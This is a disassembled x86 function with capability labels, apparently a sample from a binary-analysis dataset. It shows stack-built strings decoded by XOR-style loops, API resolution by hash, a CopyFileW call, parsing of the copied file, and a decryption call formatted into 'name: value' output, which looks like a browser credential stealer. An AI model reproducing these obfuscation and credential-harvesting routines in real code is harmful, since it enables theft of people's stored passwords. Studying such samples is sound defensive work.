Function at 0x422245
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00421620
add esp, 4
test al, al
je 0x421f60
mov al, 1
ret
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xdc
push eax
sub esp, 0x24
mov dword [ebp - 0x38], esp
sub esp, 8
mov ebx, esp
sub esp, 8
mov dword [ebp - 0xa4], esp
sub esp, 8
mov dword [ebp - 0x98], esp
sub esp, 0x20
mov dword [ebp - 0xa8], esp
mov dword [ebp - 0xe8], 0x97049921
mov dword [ebp - 0xe4], 0x931e951b
mov dword [ebp - 0xe0], 0x8f1a9131
mov dword [ebp - 0xdc], 0x8b3a8d18
mov dword [ebp - 0xd8], 0x870a8929
mov dword [ebp - 0xd4], 0x8382851c
mov dword [ebp - 0xd0], 0
mov eax, 0x8bb9066
mov ecx, 0xee88df99
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + eax - 0x8bb914e]
lea esi, [ecx + 0x11772100]
and esi, ecx
mov edi, eax
or edi, edx
not edx
or edx, esi
and edx, edi
add dl, 2
mov byte [ebp + eax - 0x8bb914e], dl
inc eax
dec ecx
cmp eax, 0x8bb9082
jne 0x421ff0
mov dword [ebp - 0x8c], 0x1d407e0
mov dword [ebp - 0x88], 0xdcb03cf
mov dword [ebp - 0x84], 0x9d30fc7
mov dword [ebp - 0x80], 0x15d80bd4
mov dword [ebp - 0x7c], 0x11f217cf
mov dword [ebp - 0x78], 0x1dd113c7
mov dword [ebp - 0x74], 0x19d61fd1
mov dword [ebp - 0x70], 0x25cc1bd3
mov dword [ebp - 0x6c], 0x21c227eb
mov dword [ebp - 0x68], 0x2df323fd
mov dword [ebp - 0x64], 0x29f22fe2
mov dword [ebp - 0x60], 0x35e92bf1
mov dword [ebp - 0x5c], 0x31f937e6
mov dword [ebp - 0x58], 0x3dec33d4
mov dword [ebp - 0x54], 0x39ca3fdf
mov dword [ebp - 0x50], 0xc5d53bc6
mov dword [ebp - 0x4c], 0xc11bc720
mov dword [ebp - 0x48], 0xcd2dc33c
mov dword [ebp - 0x44], 0xc939cf2f
mov dword [ebp - 0x40], 0xcbc8
mov eax, 0xc1
mov ecx, 0x3e
nop
nop
nop
nop
movzx esi, byte [ebp + eax - 0x14d]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0x3b
mov byte [ebp + eax - 0x14d], dl
inc eax
dec ecx
cmp eax, 0x111
jne case.default.0x422102
lea eax, [ebp - 0xe8]
lea edi, [ebp - 0x8c]
push eax
push edi
call fcn.00433750
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44401c]
mov ecx, esi
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x422110
sub eax, esi
cmp eax, 0xffffffd9
mov dword [ebp - 0xa0], ebx
jge 0x422136
mov eax, 0xffffffff
jmp 0x422139
xor eax, eax
jmp 0x4223a4
add eax, 0x26
push eax
call fcn.004081b0
add esp, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x8c], 0x2381218c
mov dword [ebp - 0x88], 0x2798259b
mov dword [ebp - 0x84], 0x3b83399e
mov dword [ebp - 0x80], 0x3f923d9b
mov dword [ebp - 0x7c], 0x338d3193
mov dword [ebp - 0x78], 0x3790358a
mov dword [ebp - 0x74], 0xbad09b1
mov dword [ebp - 0x70], 0xfb80d72
mov dword [ebp - 0x6c], 0x3a401a4
mov dword [ebp - 0x68], 0x504
mov byte [ebp - 0x64], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
mov ebx, eax
and ebx, 0xf0
mov edx, ecx
xor edx, 0x87
sub edx, ebx
inc dl
xor dl, byte [edi]
add dl, 0x58
mov byte [edi], dl
inc edi
dec ecx
add eax, 0xfffffffe
cmp ecx, 0xffffffd7
jne 0x4221a0
movzx ecx, word [esi]
mov edi, dword [ebp - 0x30]
mov eax, edi
test cx, cx
je 0x4221f1
mov edx, esi
add edx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4221e0
mov word [eax], 0
movzx ecx, word [ebp - 0x8c]
test cx, cx
je 0x422221
lea edx, [ebp - 0x8a]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422210
mov word [eax], 0
jmp dword [0x444024]
push esi
call fcn.004081c0
add esp, 4
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x44402c]
xor eax, eax
cmp word [edi], 0x2a
sete al
jmp dword [eax*4 + 0x44402c]
mov dword [ebp - 0x8c], 0x81fc87c9
mov dword [ebp - 0x88], 0x8d2f8324
mov dword [ebp - 0x84], 0x89388f3d
mov dword [ebp - 0x80], 0x95218b26
mov dword [ebp - 0x7c], 0x9132973d
mov dword [ebp - 0x78], 0x9d23933d
mov dword [ebp - 0x74], 0x99309f2a
mov dword [ebp - 0x70], 0xe5339b33
mov dword [ebp - 0x6c], 0xe158e792
mov dword [ebp - 0x68], 0xed4ce34c
mov word [ebp - 0x64], 0xefec
mov dword [ebp - 0x62], 0
mov byte [ebp - 0x5e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa1
xor cl, byte [ebp + eax - 0x8c]
add cl, 0xdb
mov byte [ebp + eax - 0x8c], cl
inc eax
cmp eax, 0x2f
jne case.default.0x42230a
lea eax, [ebp - 0x8c]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [ebp - 0xe8]
push eax
push edi
call fcn.0043c650
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x444034]
xor edi, edi
xor ebx, ebx
jmp dword [0x4440b4]
push dword [ebp - 0x30]
call fcn.004081c0
add esp, 4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x4440bc]
mov dword [ebp - 0x10], 0
test edi, edi
jne 0x42236b
jmp 0x4223a1
lea eax, [ebp - 0x34]
push 0
push eax
push dword [ebp - 0xe8]
call fcn.0043c950
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44403c]
jmp dword [0x444044]
cmp edi, ebx
je 0x4223a1
mov esi, edi
jmp 0x422387
add esi, 8
cmp esi, ebx
je 0x422398
mov eax, dword [esi]
test eax, eax
je 0x422380
push eax
call fcn.004081c0
add esp, 4
jmp 0x422380
push edi
call fcn.004081c0
add esp, 4
mov eax, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x4440fc]
mov eax, dword [edx]
mov dword [ebp - 0x30], eax
mov eax, dword [edx + 0x18]
mov ecx, dword [case.0x422e98.9]
jmp case.0x422e98.7
jmp ecx
xor edi, edi
cmp eax, 3
jne 0x4223d0
mov edi, dword [edx + 0x10]
jmp 0x4223d0
cmp dword [ebp - 0x30], 0
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x444124]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], esi
mov ecx, edi
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x42243b
mov dword [ebp - 0x10], ebx
mov ecx, eax
not ecx
and ecx, edi
mov edx, edi
not edx
and edx, eax
sub edx, ecx
inc edx
shr edx, 1
mov dword [ebp - 0x94], edx
lea eax, [edx + 1]
push eax
call fcn.004081b0
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [ebp - 0x38], eax
jmp dword [edx*4 + 0x44412c]
mov byte [eax], 0
mov dword [ebp - 0x20], 0
push 0
push 0x10
push 0
push dword [ebp - 0x30]
call fcn.00425210
add esp, 0x10
xor ecx, ecx
mov esi, dword [ebp - 0x18]
cmp esi, dword [ebp - 0x24]
setne cl
jmp dword [ecx*4 + 0x44413c]
or ecx, edx
mov byte [eax], cl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x44412c]
lea esi, [edi + 1]
mov edx, ecx
or edx, 0x20
lea ebx, [edx - 0x61]
add edx, 0xffffffa9
add ecx, 0xffffffd0
cmp ecx, 0xa
jb 0x4224a1
mov ecx, 0xffffffff
cmp ebx, 6
jb case.default.0x4224b2
mov edx, ecx
movsx ebx, byte [esi]
xor ecx, ecx
test bl, bl
setne cl
jmp dword [ecx*4 + 0x444134]
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov edi, esi
jmp dword [edx*4 + 0x44412c]
shl edx, 4
add edi, 2
mov ecx, ebx
or ecx, 0x20
lea esi, [ecx - 0x61]
add ecx, 0xffffffa9
add ebx, 0xffffffd0
cmp ebx, 0xa
jb 0x4224ee
mov ebx, 0xffffffff
cmp esi, 6
jb 0x422470
mov ecx, ebx
jmp 0x422470
mov ecx, dword [esi]
mov dword [ebp - 0x20], ecx
xor edi, edi
jmp dword [edi*4 + 0x44414c]
add esi, 8
xor ebx, ebx
cmp esi, dword [ebp - 0x24]
setne bl
jmp dword [ebx*4 + 0x44413c]
mov edi, dword [esi + 4]
mov ebx, edi
shr ebx, 0x1c
shl edi, 4
or edi, 1
xor ebx, edx
xor edi, eax
xor ecx, ecx
or edi, ebx
sete cl
jmp dword [ecx*4 + 0x444144]
mov ecx, 1
jmp dword [ecx*4 + 0x44414c]
xor eax, eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
setne al
jmp dword [eax*4 + 0x444154]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
jmp dword [0x444164]
mov esi, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x94]
mov dword [esi], eax
mov eax, dword [ebp - 0x38]
mov dword [esi + 4], eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax], 0
lea eax, [eax + 1]
jne case.default.0x4225f3
lea ecx, [ebx + eax]
dec ecx
mov edx, ebx
not edx
and edx, ecx
add eax, ebx
neg eax
and eax, ebx
sub edx, eax
mov edi, dword [ebp - 0xa4]
mov dword [edi], edx
mov dword [edi + 4], ebx
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x98]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x14e20a34
push dword [0x449650]
call fcn.0043bcb0
add esp, 8
push ebx
push 1
push 0
push 0
push edi
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44415c]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
jmp dword [0x444164]
mov ecx, dword [ebp - 0x20]
movzx eax, byte [ecx]
test al, al
mov esi, dword [ebp - 0x14]
je 0x42262b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esi], al
inc esi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x422620
mov byte [esi], 0x3a
mov byte [esi + 1], 0x20
add esi, 2
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
test ebx, ebx
je 0x42267f
mov eax, dword [eax + 4]
mov ecx, ebx
and ecx, 3
je 0x422683
mov edi, ebx
mov edx, esi
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edx + esi], bl
inc esi
cmp ecx, esi
jne 0x422660
add edx, esi
mov ebx, edi
mov ecx, edi
sub ecx, esi
mov edi, edx
mov esi, edx
jmp 0x422685
mov edi, esi
jmp 0x4226c9
mov ecx, ebx
cmp ebx, 4
jb 0x4226c9
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea edi, [esi + 4]
mov byte [esi + 3], dl
mov esi, edi
add ecx, 0xfffffffc
jne 0x422690
mov byte [edi], 0xa
mov esi, edi
inc esi
push 0xbe5098bb
push dword [0x449638]
call fcn.0043bcb0
add esp, 8
mov ecx, dword [ebp - 0x98]
push dword [ecx + 4]
call eax
mov bl, 1
mov edx, dword [ebp - 0x28]
jmp dword [0x444164]
push dword [ebp - 0x38]
call fcn.004081c0
mov edx, dword [ebp - 0x28]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x4440fc]
jmp dword [0x44410c]
mov dword [ebp - 0x8c], 0x45505aa1
mov dword [ebp - 0x88], 0x5e485841
mov dword [ebp - 0x84], 0x555da995
mov dword [ebp - 0x80], 0x90af644a
mov dword [ebp - 0x7c], 0x6a656070
mov dword [ebp - 0x78], 0x686b88a9
mov dword [ebp - 0x74], 0x7d607865
mov word [ebp - 0x70], 0xef7d
mov dword [ebp - 0x6e], 0
mov word [ebp - 0x6a], 0
mov eax, 0xb896253
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + eax - 0xb8962df]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x61
mov byte [ebp + eax - 0xb8962df], cl
inc eax
cmp eax, 0xb896277
jne 0x422780
lea eax, [ebp - 0x8c]
mov ecx, dword [ebp - 0x2c]
push eax
call fcn.00425000
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
jmp dword [ecx*4 + 0x444064]
add eax, 8
mov dword [ebp - 0x20], 0
xor ebx, ebx
xor esi, esi
jmp 0x4227fc
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x14]
mov dword [esi + eax + 4], ecx
add ebx, 8
mov eax, dword [ebp - 0x94]
add eax, 4
mov edi, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [case.0x42230a.15]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44407c]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov edx, ebx
sub edx, esi
mov ecx, dword [ebp - 0x20]
cmp ebx, ecx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x1c], edx
je 0x422840
mov ecx, esi
jmp 0x4228f0
mov eax, ecx
sub eax, esi
sar eax, 3
mov ebx, eax
shr ebx, 1
add ebx, eax
mov eax, edx
sar eax, 3
inc eax
cmp ebx, eax
mov dword [ebp - 0x20], ecx
ja 0x42285c
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov dword [ebp - 0x14], ebx
or ebx, 8
imul ebx, ecx
xor ecx, 8
imul ecx, eax
add ebx, ecx
push ebx
call fcn.004081b0
add esp, 4
mov ecx, eax
test esi, esi
je 0x4228e0
mov dword [ebp - 0x28], edi
cmp esi, dword [ebp - 0x20]
mov dword [ebp - 0x18], esi
mov esi, ecx
je 0x4228d0
mov edi, dword [ebp - 0x18]
mov ecx, edi
not ecx
mov dword [ebp - 0x24], ecx
mov edx, edi
nop
mov eax, esi
mov esi, ecx
and esi, dword [ebp - 0x18]
mov ebx, edx
and ebx, dword [ebp - 0x24]
sub ebx, esi
mov esi, dword [edi]
mov dword [eax + ebx], esi
mov esi, dword [edi + 4]
mov dword [eax + ebx + 4], esi
mov esi, eax
mov dword [edi], 0
add edx, 8
add ecx, 0xfffffff8
add edi, 8
cmp edi, dword [ebp - 0x20]
jne 0x4228a0
push dword [ebp - 0x18]
call fcn.004081c0
add esp, 4
mov edi, dword [ebp - 0x28]
mov ecx, esi
mov eax, dword [ebp - 0x14]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x20], eax
mov ebx, ecx
mov edx, dword [ebp - 0x1c]
add ebx, edx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
mov dword [ecx + edx], 0
mov dword [ebp - 0x14], ecx
mov dword [ecx + edx + 4], 0
xor eax, eax
mov esi, dword [ebp - 0x10]
nop
nop
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x422910
lea ecx, [esi + eax]
dec ecx
add eax, esi
neg eax
and eax, esi
mov ebx, esi
not ebx
and ebx, ecx
sub ebx, eax
lea edi, [ebx + 1]
mov dword [ebp - 0x3c], edi
push edi
call fcn.004081b0
add esp, 4
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx], eax
mov ecx, edi
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, dword [ebp - 0x3c]
mov edx, ecx
and edx, 0xfffffffc
add eax, edx
add edx, esi
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
jne 0x422988
mov esi, dword [ebp - 0x3c]
and esi, 2
movzx ecx, byte [edx + esi]
mov byte [eax + esi], cl
test ebx, ebx
je 0x4227d6
mov dword [ebp - 0x18], ebx
mov ecx, 0xffffffff
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x10]
movzx edi, byte [edx + eax]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp dword [ebp - 0x18], eax
jne 0x4229a0
not ecx
jmp 0x4227e0
not eax
shr eax, 0x1f
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x444054]
mov esi, dword [ebp - 0x34]
mov byte [edi + esi], 0
push 0x20
call fcn.004081b0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x2c], eax
mov ecx, eax
push esi
push edi
call fcn.00424dc0
movzx eax, al
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x44405c]
jmp dword [0x444084]
mov ecx, dword [ebp - 0x2c]
call fcn.00425170
push dword [ebp - 0x2c]
call fcn.004081c0
add esp, 4
mov eax, dword [case.0x42230a.7]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44409c]
jmp dword [0x4440a4]
mov dword [ebp - 0x14], esi
push dword [ebp - 0x3c]
mov esi, ebx
mov ebx, eax
call fcn.004081c0
add esp, 4
mov ecx, ebx
mov eax, ebx
mov ebx, esi
mov esi, dword [ebp - 0x14]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x4441a4]
mov byte [esi], 0
mov edx, dword [ebp - 0xa8]
mov dword [edx], 0x43464979
mov dword [edx + 4], 0xbf534a4d
mov dword [edx + 8], 0xc03c4249
mov dword [edx + 0xc], 0x36c6227f
mov dword [edx + 0x10], 0x2b753c29
mov dword [edx + 0x14], 0x313f3237
mov dword [edx + 0x18], 0xd7d273cf
mov dword [edx + 0x1c], 0x5dd0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x36
xor cl, byte [edx + eax]
add cl, 0xf2
mov byte [edx + eax], cl
inc eax
cmp eax, 0x20
jne 0x422b50
mov eax, dword [ebp - 0x1c]
sub esi, eax
mov ecx, ebx
push esi
push eax
push edx
call fcn.004091c0
mov ebx, eax
jmp dword [0x4441ac]
push dword [ebp - 0x1c]
call fcn.004081c0
add esp, 4
and bl, 1
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x24]
test edi, edi
jne 0x42236b
jmp 0x4223a1
mov ebx, ecx
jmp dword [0x4441ac]
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x18], edi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.004081b0
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x8c], 0x71420f6b
mov dword [ebp - 0x88], 0x75d773e1
mov dword [ebp - 0x84], 0x79da77d7
mov dword [ebp - 0x80], 0x7dea7b3b
mov dword [ebp - 0x7c], 0x613a7fec
mov dword [ebp - 0x78], 0x65f663c3
mov dword [ebp - 0x74], 0x690167c7
mov dword [ebp - 0x70], 0x6ddf6bd4
mov dword [ebp - 0x6c], 0x51c96ff8
mov dword [ebp - 0x68], 0x55fd53f3
mov dword [ebp - 0x64], 0x59fa57e8
mov dword [ebp - 0x60], 0x5dff5bc9
mov dword [ebp - 0x5c], 0x41f25fff
mov dword [ebp - 0x58], 0x45d4432e
mov dword [ebp - 0x54], 0x49e047e0
lea eax, [ebp - 0x50]
mov word [ebp - 0x50], 0x4b48
mov dword [ebp - 0x4e], 0
mov word [ebp - 0x4a], 0
mov ecx, 0x3d
mov edx, 0xc2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0xc9]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add bl, 0xcf
mov byte [ebp + ecx - 0xc9], bl
inc ecx
dec edx
cmp ecx, 0x81
jne 0x422c60
lea edx, [ebp - 0x8c]
mov ecx, 0xf
lea esi, [ebp - 0xe8]
mov edi, esi
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xac]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [ebp - 0x34]
push edi
push 0
push 0
push 0x1e
push esi
push 0
call dword [0x449640]
mov ebx, dword [ebp - 0x34]
test ebx, ebx
jns 0x422cce
mov eax, 0xffffffff
jmp 0x422cd1
lea eax, [ebx + ebx]
push eax
call fcn.004081b0
add esp, 4
mov esi, eax
push edi
push ebx
push eax
push 0x1e
lea eax, [ebp - 0xe8]
push eax
push 0
call dword [0x449640]
lea eax, [ebp - 0x9c]
push 0x60
push 3
push 0x120089
push eax
mov dword [ebp - 0x3c], esi
push esi
call fcn.0043c650
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4440c4]
xor eax, eax
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp + 8]
mov edi, dword [ebp - 0x18]
jmp dword [0x44419c]
push 0
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x9c]
call fcn.0043c950
add esp, 0xc
not eax
shr eax, 0x1f
xor edi, edi
xor ebx, ebx
mov esi, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x4440dc]
mov esi, dword [ebp - 0x8c]
lea eax, [esi + 1]
push eax
call fcn.004081b0
add esp, 4
push 0
push esi
mov dword [ebp - 0x2c], eax
push eax
push dword [ebp - 0x9c]
call fcn.0043ca00
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov esi, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x4440e4]
mov esi, dword [ebp - 0x8c]
mov edi, dword [ebp - 0x2c]
mov byte [edi + esi], 0
push 0x20
call fcn.004081b0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x90], eax
mov ecx, eax
push esi
push edi
call fcn.00424dc0
movzx eax, al
xor ebx, ebx
mov esi, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x4440ec]
mov esi, dword [ebp - 0x38]
mov dword [esi], 0xdda8d6b9
mov dword [esi + 4], 0xa2d0a0d9
mov dword [esi + 8], 0xddadb19d
mov dword [esi + 0xc], 0x889ba4d6
mov dword [esi + 0x10], 0xe69598e8
mov dword [esi + 0x14], 0xebe3bea1
mov dword [esi + 0x18], 0xe59390ea
mov dword [esi + 0x1c], 0x8d9798b5
mov word [esi + 0x20], 0x678b
mov dword [esi + 0x22], 0
mov byte [esi + 0x26], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
xor ecx, 0xf0837d6e
mov eax, ebx
or eax, 0x11
and eax, ecx
mov edx, eax
and edx, 2
mov ecx, eax
or eax, 2
imul eax, edx
xor edx, 2
and ecx, 0x3d
imul ecx, edx
mov edx, ebx
xor edx, 0x91
add edx, eax
add edx, ecx
xor dl, byte [esi + ebx]
add dl, 0x2b
mov byte [esi + ebx], dl
inc ebx
cmp ebx, 0x27
jne case.default.0x422e98
mov ecx, dword [ebp - 0x90]
push esi
call fcn.00425000
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov esi, dword [ebp - 0x1c]
jmp dword [ecx*4 + 0x4440f4]
xor edi, edi
jmp dword [0x44416c]
mov ecx, dword [ebp - 0x90]
call fcn.00425170
push dword [ebp - 0x90]
call fcn.004081c0
add esp, 4
jmp dword [0x444180]
mov eax, dword [case.0x422e98.37]
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x444194]
push dword [ebp - 0x2c]
call fcn.004081c0
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x8c], 0xb8bbba85
mov dword [ebp - 0x88], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x8c]
mov esi, ecx
xor esi, 0x437cad8e
mov eax, edi
and edi, 2
sub edi, esi
add edi, 0xca0f841f
mov esi, edi
and esi, 0x210848e
xor edi, 0x437cad8e
lea ebx, [edi + esi*2]
mov edi, eax
mov esi, ebx
and esi, edx
add esi, esi
sub ebx, esi
add ebx, edx
mov edx, ebx
not edx
and edx, 0x9c
and ebx, 0x63
sub ebx, edx
inc bl
mov byte [ebp + ecx - 0x8c], bl
inc ecx
add edi, 2
cmp ecx, 8
jne 0x422f10
mov ecx, dword [0x449644]
test ecx, ecx
mov ebx, dword [ebp + 8]
je 0x422fa8
mov edx, dword [ebp - 0x8c]
xor esi, esi
mov edi, dword [0x449648]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x422fa0
inc esi
cmp ecx, esi
jne 0x422f90
jmp 0x422fa8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x422fc5
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
jmp dword [0x44419c]
mov ecx, eax
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x4441a4]
push dword [ebp - 0x20]
push 1
push ecx
push dword [0x44964c]
call fcn.00438a80
add esp, 0x10
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
jmp dword [0x44419c]
add eax, 8
xor ebx, ebx
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov esi, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x4440fc]
push edi
call fcn.004081c0
add esp, 4
push edi
call fcn.004081c0
add esp, 4
jmp dword [0x4440b0]
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x8c], 0xb8bbba85
mov dword [ebp - 0x88], 0
xor ecx, ecx
xor eax, eax
nop
movzx edx, byte [ebp + ecx - 0x8c]
mov esi, ecx
xor esi, 0x437cad8e
mov edi, eax
and edi, 2
sub edi, esi
add edi, 0xca0f841f
mov esi, edi
and esi, 0x210848e
xor edi, 0x437cad8e
lea ebx, [edi + esi*2]
mov esi, ebx
and esi, edx
add esi, esi
sub ebx, esi
add ebx, edx
mov edx, ebx
not edx
and edx, 0x9c
and ebx, 0x63
sub ebx, edx
inc bl
mov byte [ebp + ecx - 0x8c], bl
inc ecx
add eax, 2
cmp ecx, 8
jne 0x423040
mov ecx, dword [0x449644]
test ecx, ecx
mov ebx, dword [ebp - 0x24]
je 0x4230d8
mov edx, dword [ebp - 0x8c]
xor esi, esi
mov edi, dword [0x449648]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4230d0
inc esi
cmp ecx, esi
jne 0x4230c0
jmp 0x4230d8
mov ecx, dword [edi + esi*8 + 4]
